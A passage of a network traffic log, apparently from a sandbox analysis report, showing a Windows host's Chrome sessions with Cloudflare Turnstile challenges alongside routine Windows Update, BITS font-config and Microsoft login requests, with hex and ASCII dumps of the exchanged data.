https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:52 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:52 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d0f56bfab56433a-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:52 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 1b 08 02 00 00 00 b5 0b 9b 25 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR0%IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49731	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:53 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d0f56a70cadc3ff/1728654830321/Brmsrk1UDqp3rhl HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:53 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:53 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d0f56c36f6741d9-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 1b 08 02 00 00 00 b5 0b 9b 25 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR0%IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49732	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:53 UTC	925	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31800 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: f3abe9e63e0e531 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:53 UTC	16384	OUT	Data Raw: 76 5f 38 64 30 66 35 36 61 37 30 63 61 64 63 33 66 66 3d 59 66 32 31 41 2d 7a 42 44 52 6c 7a 44 7a 52 7a 2d 7a 6f 73 57 25 32 62 52 73 38 73 55 31 69 35 2b 33 7a 36 73 48 61 32 7a 4d 7a 6b 59 58 76 31 70 5a 73 66 62 7a 68 52 73 58 6b 73 58 55 7a 6e 73 6f 5a 77 6a 73 69 31 7a 47 33 73 57 5a 54 55 45 53 57 31 67 33 73 75 31 52 4d 73 74 6f 68 6c 31 76 73 58 4e 32 73 74 73 54 4a 35 5a 73 47 31 2d 42 67 73 54 54 62 73 6c 50 61 59 35 41 67 48 39 4c 45 4d 73 6d 31 67 6c 44 44 73 73 4a 35 73 65 79 73 6d 7a 73 7a 65 2d 31 73 39 6d 31 2d 39 5a 42 52 52 51 54 6d 48 73 2d 74 61 52 48 53 48 55 74 5a 73 52 31 76 48 55 64 67 61 6d 55 5a 73 4a 63 4a 78 45 41 37 5a 6d 31 73 45 73 32 69 61 7a 67 77 42 73 58 47 59 53 73 35 2b 78 79 34 38 45 31 2d 69 30 4e 4d 52 4c 42 65 50 Data Ascii: v_8d0f56a70cadc3ff=Yf21A-zBDRlzDzRz-zosW%2bRs8sU1i5+3z6sHa2zMzkYXv1pZsfbzhRsXksXUznsoZwjsi1zG3sWZTUESW1g3su1RMstohl1vsXN2stsTJ5ZsG1-BgsTTbslPaY5AgH9LEMsm1glDDssJ5seysmzsze-1s9m1-9ZBRRQTmHs-taRHSHUtZsR1vHUdgamUZsJcJxEA7Zm1sEs2iazgwBsXGYSs5+xy48E1-i0NMRLBeP
2024-10-11 13:53:53 UTC	15416	OUT	Data Raw: 5a 2d 54 7a 62 73 57 4e 52 31 73 73 2d 30 33 31 42 73 58 66 2b 6a 54 24 7a 33 7a 34 31 67 31 73 52 73 48 73 42 35 77 78 35 47 73 7a 35 7a 4d 73 30 73 77 31 2d 78 7a 49 73 39 42 73 42 7a 41 2b 69 5a 2b 55 7a 56 73 2b 74 78 4d 73 63 73 4c 4c 2b 4a 73 56 72 6c 58 7a 31 7a 7a 73 54 44 67 46 7a 6d 32 35 32 7a 34 35 42 5a 67 35 7a 35 7a 45 73 77 72 65 4d 31 6f 72 67 70 2d 55 73 72 31 39 42 52 51 62 65 31 39 72 4a 57 7a 6c 73 48 73 2b 35 73 67 35 52 73 52 4d 73 79 31 6f 4d 2b 32 7a 69 66 6f 4d 67 32 7a 69 73 75 4c 58 66 73 32 73 77 31 2d 73 2d 6b 73 4c 33 7a 73 73 6f 73 4e 6d 77 6a 73 38 73 4e 42 7a 73 7a 30 73 58 73 4c 78 73 44 73 4c 35 77 35 73 75 73 48 73 6f 57 7a 66 73 55 32 73 6a 7a 66 5a 52 62 7a 73 73 4f 51 42 6f 30 6e 34 64 73 34 5a 2d 24 6b 50 73 37 6b Data Ascii: Z-TzbsWNR1ss-031BsXf+jT$z3z41g1sRsHsB5wx5Gsz5zMs0sw1-xzIs9BsBzA+iZ+UzVs+txMscsLL+JsVrlXz1zzsTDgFzm252z45BZg5z5zEswreM1orgp-Usr19BRQbe19rJWzlsHs+5sg5RsRMsy1oM+2zifoMg2zisuLXfs2sw1-s-ksL3zssosNmwjs8sNBzsz0sXsLxsDsL5w5susHsoWzfsU2sjzfZRbzssOQBo0n4ds4Z-$kPs7k
2024-10-11 13:53:53 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26808 Connection: close cf-chl-gen: ExwuovaDX+o6NiJ8/Q27iLRAE8ELqnHSEvT0+w1euPonuZGH0pLC6wtVadQFy7JCrO52U3w+wbCsCA5M$N50nx0hACtRFobbU Server: cloudflare CF-RAY: 8d0f56c438af6a5e-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:53 UTC	1039	IN	Data Raw: 66 6d 64 70 67 32 74 65 6b 30 39 72 6d 59 74 52 62 6d 79 53 62 47 79 65 69 31 31 75 62 47 52 68 63 6e 42 31 64 34 46 30 6d 34 39 2b 6d 57 68 71 62 32 71 32 69 6e 57 6b 74 72 70 37 75 6f 61 54 66 34 71 72 65 35 71 66 73 34 57 61 75 61 6c 38 6f 4d 79 47 6f 34 37 51 75 35 47 6f 72 38 76 58 71 36 4b 69 32 4d 7a 4a 72 64 4f 32 71 37 6e 69 74 62 7a 58 76 39 44 49 6f 2b 6d 38 37 65 4f 73 78 62 75 6f 34 75 54 4d 76 65 76 4e 30 62 54 7a 79 76 76 73 2b 50 44 74 77 50 66 61 7a 72 7a 39 7a 2b 48 68 33 76 54 73 78 38 44 67 45 67 41 4e 36 67 58 4d 36 2b 73 4b 2b 63 7a 78 35 74 67 61 46 78 45 69 2b 78 59 62 48 52 62 37 45 65 44 67 44 51 37 73 49 50 77 45 44 69 59 6f 45 53 45 58 47 41 59 58 47 78 72 30 4e 52 77 70 48 67 38 64 48 78 76 39 42 77 59 48 4b 79 49 48 44 53 63 Data Ascii: fmdpg2tek09rmYtRbmySbGyei11ubGRhcnB1d4F0m49+mWhqb2q2inWktrp7uoaTf4qre5qfs4Waual8oMyGo47Qu5Gor8vXq6Ki2MzJrdO2q7nitbzXv9DIo+m87eOsxbuo4uTMvevN0bTzyvvs+PDtwPfazrz9z+Hh3vTsx8DgEgAN6gXM6+sK+czx5tgaFxEi+xYbHRb7EeDgDQ7sIPwEDiYoESEXGAYXGxr0NRwpHg8dHxv9BwYHKyIHDSc
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 4c 56 5a 70 57 61 33 56 79 70 58 61 6d 70 70 4a 39 65 4b 6c 6e 66 33 31 33 6e 6f 43 6c 70 37 4f 55 6b 32 6d 48 75 6f 2b 37 75 6e 75 52 72 37 61 41 6c 49 32 76 75 72 64 2f 74 59 61 66 6d 72 2b 31 72 5a 6d 63 76 6f 2b 76 6a 62 54 48 7a 39 53 6e 79 71 6d 39 31 72 4f 37 75 72 44 57 33 4c 72 66 34 72 72 56 79 4f 76 58 75 71 6e 48 78 37 2f 41 71 74 33 31 79 76 61 33 79 39 69 31 30 4d 2f 71 2f 50 4f 34 38 76 6e 42 42 66 34 45 41 51 45 45 42 39 37 35 78 2b 6e 4c 2b 73 34 53 36 2b 76 6b 30 4f 34 4b 41 39 48 62 32 67 67 67 41 51 37 71 33 51 30 63 38 76 45 53 46 67 48 6c 41 65 6f 44 34 41 58 37 45 65 38 65 4d 68 59 33 49 2f 59 4e 50 43 59 51 39 2f 63 37 4b 69 35 45 45 76 77 33 50 67 5a 4a 51 30 68 46 52 55 68 4c 49 7a 34 4d 4c 43 55 2f 45 31 55 79 46 30 4d 6d 4e 6b Data Ascii: LVZpWa3VypXamppJ9eKlnf313noClp7OUk2mHuo+7unuRr7aAlI2vurd/tYafmr+1rZmcvo+vjbTHz9Snyqm91rO7urDW3Lrf4rrVyOvXuqnHx7/Aqt31yva3y9i10M/q/PO48vnBBf4EAQEEB975x+nL+s4S6+vk0O4KA9Hb2gggAQ7q3Q0c8vESFgHlAeoD4AX7Ee8eMhY3I/YNPCYQ9/c7Ki5EEvw3PgZJQ0hFRUhLIz4MLCU/E1UyF0MmNk
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 6e 5a 42 36 71 4a 36 55 61 4b 69 69 6d 47 79 63 70 70 78 78 69 71 71 67 64 47 32 75 70 48 65 34 73 71 68 37 72 4c 61 73 67 4a 61 54 6c 71 47 2b 67 72 66 4a 77 59 57 36 7a 38 6d 4a 76 62 43 39 6a 61 48 56 6c 4c 6a 54 7a 61 32 6d 79 71 6a 59 34 4b 72 52 35 4c 4c 65 30 61 44 6e 35 4e 50 65 34 38 58 58 79 75 37 6d 34 71 76 68 35 66 62 57 74 38 71 34 7a 38 2b 36 74 4e 72 36 75 39 7a 74 2f 75 54 52 43 63 50 48 32 2b 66 32 34 4e 37 74 34 74 37 61 30 67 4c 77 46 39 66 57 38 4e 50 77 39 77 72 51 39 42 37 38 33 42 38 6d 2b 75 51 6b 4a 75 45 55 43 76 34 6a 4c 41 50 70 34 79 4d 73 2f 76 58 30 44 79 51 61 4c 6a 30 36 42 78 51 56 44 51 30 56 46 45 45 6b 4d 42 55 57 4b 51 59 34 52 77 67 68 4b 53 45 39 4a 69 38 4e 45 6a 67 54 56 44 6b 57 56 6c 41 55 4b 55 78 69 4c 42 56 Data Ascii: nZB6qJ6UaKiimGycppxxiqqgdG2upHe4sqh7rLasgJaTlqG+grfJwYW6z8mJvbC9jaHVlLjTza2myqjY4KrR5LLe0aDn5NPe48XXyu7m4qvh5fbWt8q4z8+6tNr6u9zt/uTRCcPH2+f24N7t4t7a0gLwF9fW8NPw9wrQ9B783B8m+uQkJuEUCv4jLAPp4yMs/vX0DyQaLj06BxQVDQ0VFEEkMBUWKQY4RwghKSE9Ji8NEjgTVDkWVlAUKUxiLBV
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 6e 71 73 70 71 6c 70 73 4b 71 74 71 4c 53 75 73 5a 61 34 73 72 4f 4b 76 4c 61 32 74 37 53 57 6a 34 47 4d 67 35 36 54 74 35 75 37 6f 63 69 6e 6d 35 32 75 71 4d 44 4d 6a 4b 36 30 7a 70 44 61 78 73 71 57 32 5a 44 4f 6d 74 79 55 30 70 37 6a 6e 2b 54 70 73 2b 6d 6c 75 75 54 46 71 4e 44 6d 34 71 76 68 35 36 7a 34 34 62 50 5a 34 39 72 4e 31 37 66 68 73 39 79 38 31 64 33 65 34 38 44 69 35 4d 4c 55 34 4f 54 75 7a 73 6e 74 46 50 30 41 33 67 6b 50 47 67 37 71 30 75 34 61 38 4f 77 62 45 68 72 67 2f 4e 67 70 42 76 6b 73 35 78 59 4e 35 2f 67 64 38 54 41 30 4d 75 38 50 4d 42 63 4a 46 50 4d 34 38 79 6e 34 44 76 6b 72 49 6b 4d 51 48 78 42 44 51 44 67 35 4b 69 55 67 53 41 67 65 49 7a 34 6b 51 31 4d 6b 57 43 52 48 55 53 38 76 56 52 39 57 4e 54 49 2f 4c 53 51 34 47 6d 68 6a Data Ascii: nqspqlpsKqtqLSusZa4srOKvLa2t7SWj4GMg56Tt5u7ocinm52uqMDMjK60zpDaxsqW2ZDOmtyU0p7jn+Tps+mluuTFqNDm4qvh56z44bPZ49rN17fhs9y81d3e48Di5MLU4OTuzsntFP0A3gkPGg7q0u4a8OwbEhrg/NgpBvks5xYN5/gd8TA0Mu8PMBcJFPM48yn4DvkrIkMQHxBDQDg5KiUgSAgeIz4kQ1MkWCRHUS8vVR9WNTI/LSQ4Gmhj
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 69 53 70 71 75 51 64 70 39 75 73 4a 53 63 71 49 2b 76 6e 37 69 73 73 72 32 75 70 58 36 41 6f 70 61 55 6e 37 6d 75 7a 72 7a 4a 69 34 71 4f 6a 62 53 4f 78 71 61 5a 79 72 71 62 76 5a 79 7a 73 35 36 68 6d 37 53 34 78 74 72 6e 6f 73 72 57 75 4f 53 75 6f 65 6e 73 72 2f 43 75 37 65 32 79 38 39 69 32 77 39 6a 6f 2f 62 2f 31 30 72 51 42 38 65 54 33 36 50 58 6e 31 51 54 37 32 74 6a 6a 2f 66 49 54 30 67 34 4e 31 75 6a 69 2b 4e 45 4c 38 74 30 4b 48 68 62 31 2b 69 54 67 2f 50 63 5a 39 41 6b 41 48 53 50 38 49 2b 7a 72 42 67 4d 31 49 66 34 6a 43 2b 2f 79 2b 42 41 32 46 53 41 66 4f 51 73 65 49 7a 59 54 52 6a 68 48 47 42 63 73 52 51 31 46 43 7a 74 52 54 67 35 41 54 6b 41 32 55 42 70 44 54 45 6b 78 50 42 59 63 4c 79 77 6a 55 6c 41 66 50 31 70 57 4a 55 4d 71 4e 32 49 77 51 Data Ascii: iSpquQdp9usJScqI+vn7issr2upX6AopaUn7muzrzJi4qOjbSOxqaZyrqbvZyzs56hm7S4xtrnosrWuOSuoensr/Cu7e2y89i2w9jo/b/10rQB8eT36PXn1QT72tjj/fIT0g4N1uji+NEL8t0KHhb1+iTg/PcZ9AkAHSP8I+zrBgM1If4jC+/y+BA2FSAfOQseIzYTRjhHGBcsRQ1FCztRTg5ATkA2UBpDTEkxPBYcLywjUlAfP1pWJUMqN2IwQ
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 56 64 71 52 34 63 72 71 51 75 4d 47 30 73 5a 2b 76 6f 35 4f 6d 6f 63 71 70 6d 4d 4b 6a 6c 73 2b 62 76 71 53 46 6b 4a 4f 6a 6b 70 69 72 6b 37 75 34 71 74 32 66 76 73 2f 56 30 4d 4f 66 6e 5a 6d 6c 76 39 69 6f 74 64 72 41 6f 61 79 76 76 36 36 30 78 36 2f 74 31 4d 62 35 75 39 72 72 38 65 7a 50 73 37 33 58 30 74 72 30 78 4e 48 32 33 4c 33 49 79 39 76 4b 30 4f 4d 53 38 2f 44 32 46 68 6e 6a 38 42 48 76 42 65 6b 65 33 39 62 33 32 75 4d 6d 2b 74 30 6a 47 67 6b 64 44 51 44 35 36 4f 37 75 45 65 77 49 37 68 44 76 44 53 55 62 39 44 4d 4d 45 44 45 36 48 43 39 45 50 7a 49 77 53 44 4d 63 4b 67 4d 49 51 69 46 42 4f 67 6f 76 56 42 41 6f 49 6c 67 59 55 69 31 50 52 79 63 73 55 55 6f 61 54 31 51 66 49 6a 78 59 4f 43 5a 45 58 6a 30 38 52 57 51 72 49 30 68 6b 61 6e 56 4d 61 57 Data Ascii: VdqR4crqQuMG0sZ+vo5OmocqpmMKjls+bvqSFkJOjkpirk7u4qt2fvs/V0MOfnZmlv9iotdrAoayvv660x6/t1Mb5u9rr8ezPs73X0tr0xNH23L3Iy9vK0OMS8/D2Fhnj8BHvBeke39b32uMm+t0jGgkdDQD56O7uEewI7hDvDSUb9DMMEDE6HC9EPzIwSDMcKgMIQiFBOgovVBAoIlgYUi1PRycsUUoaT1QfIjxYOCZEXj08RWQrI0hkanVMaW
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 6a 35 4b 55 73 72 6d 34 6c 72 53 39 68 61 47 37 6e 4b 71 58 76 34 72 49 6d 38 43 30 6e 71 66 48 6b 74 69 32 79 74 47 5a 72 73 79 2f 73 72 6e 53 77 37 61 76 31 37 6a 47 76 4e 76 4c 71 63 48 66 71 76 44 48 35 4d 4f 74 76 75 6e 58 39 4d 4c 73 79 2f 44 56 37 37 6f 42 31 50 4b 2b 2f 4f 4c 33 31 37 72 63 2b 2b 73 4e 31 76 34 47 42 64 6f 44 39 50 4c 70 42 77 34 4e 37 77 6b 53 36 76 49 50 41 42 6e 2b 46 4e 34 5a 2f 52 66 69 4a 51 41 62 35 2f 62 32 49 68 41 70 42 79 50 75 35 76 34 6c 47 44 45 45 4b 52 30 48 47 79 38 32 45 78 55 30 4f 6a 6b 65 4e 53 68 4a 45 7a 6b 74 4b 79 45 2f 52 67 4d 6c 51 7a 55 66 48 30 63 54 54 54 46 4f 50 46 6b 31 54 31 59 61 4b 31 46 45 4d 7a 68 58 53 47 6c 48 58 44 78 70 51 31 31 51 62 55 56 6a 4c 7a 49 2f 5a 31 6c 58 54 6d 6c 63 66 56 52 Data Ascii: j5KUsrm4lrS9haG7nKqXv4rIm8C0nqfHkti2ytGZrsy/srnSw7av17jGvNvLqcHfqvDH5MOtvunX9MLsy/DV77oB1PK+/OL317rc++sN1v4GBdoD9PLpBw4N7wkS6vIPABn+FN4Z/RfiJQAb5/b2IhApByPu5v4lGDEEKR0HGy82ExU0OjkeNShJEzktKyE/RgMlQzUfH0cTTTFOPFk1T1YaK1FEMzhXSGlHXDxpQ11QbUVjLzI/Z1lXTmlcfVR
2024-10-11 13:53:53 UTC	1369	IN	Data Raw: 72 57 39 77 4a 79 34 72 4c 69 67 76 61 2b 75 70 4d 4f 30 76 5a 4c 4c 7a 64 69 73 7a 63 57 7a 7a 39 44 4d 32 4c 33 54 6e 70 32 30 31 61 4b 36 74 74 6e 4c 70 63 7a 67 76 2b 7a 4c 35 63 50 73 79 37 4c 74 34 62 62 70 30 4c 4c 64 2f 72 76 50 73 2f 48 35 2b 4e 47 38 2f 65 66 55 2f 63 76 72 2b 63 62 42 32 2b 62 4a 38 2b 2f 48 43 75 63 42 36 77 7a 58 37 2b 6b 67 33 78 72 30 46 2f 76 75 38 39 7a 39 41 2f 72 6d 49 77 77 74 48 69 30 79 4a 43 4d 77 48 52 50 31 4c 69 4c 34 39 67 77 36 4d 6a 49 74 46 78 44 34 47 68 38 61 41 7a 38 6f 41 54 70 4a 54 6b 42 41 50 44 6b 76 45 7a 51 2b 46 52 4d 6f 46 30 35 4f 53 55 55 73 46 54 59 37 4f 52 39 62 52 43 42 57 5a 57 70 63 58 55 4a 56 4f 69 6b 77 59 6b 56 6c 59 53 64 45 5a 31 68 54 55 57 78 63 61 6a 52 75 56 7a 4e 65 64 6c 56 59 Data Ascii: rW9wJy4rLigva+upMO0vZLLzdiszcWzz9DM2L3Tnp201aK6ttnLpczgv+zL5cPsy7Lt4bbp0LLd/rvPs/H5+NG8/efU/cvr+cbB2+bJ8+/HCucB6wzX7+kg3xr0F/vu89z9A/rmIwwtHi0yJCMwHRP1LiL49gw6MjItFxD4Gh8aAz8oATpJTkBAPDkvEzQ+FRMoF05OSUUsFTY7OR9bRCBWZWpcXUJVOikwYkVlYSdEZ1hTUWxcajRuVzNedlVY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49733	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:54 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:54 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 11 Oct 2024 13:53:54 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: w2XUjzX6zEXSjvstJUICNOAnLMTdj6RcWm8=$CdyudWLYn6pOTkc1 Server: cloudflare CF-RAY: 8d0f56c9a85d42d3-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:54 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49734	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:55 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RmFG7hRy6DX5H2f&MD=tARowUD4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-11 13:53:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f9825744-6383-48c1-8ef7-66ac9d56ed5e MS-RequestId: c57c81c8-73ae-44eb-a75e-cbf85155876a MS-CV: e7WOp/MZh0C/Q3sE.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 11 Oct 2024 13:53:54 GMT Connection: close Content-Length: 24490
2024-10-11 13:53:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-11 13:53:55 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49740	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:00 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-11 13:54:00 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=96683 Date: Fri, 11 Oct 2024 13:54:00 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49741	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:01 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-11 13:54:01 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=96713 Date: Fri, 11 Oct 2024 13:54:01 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-11 13:54:01 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49742	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:21 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
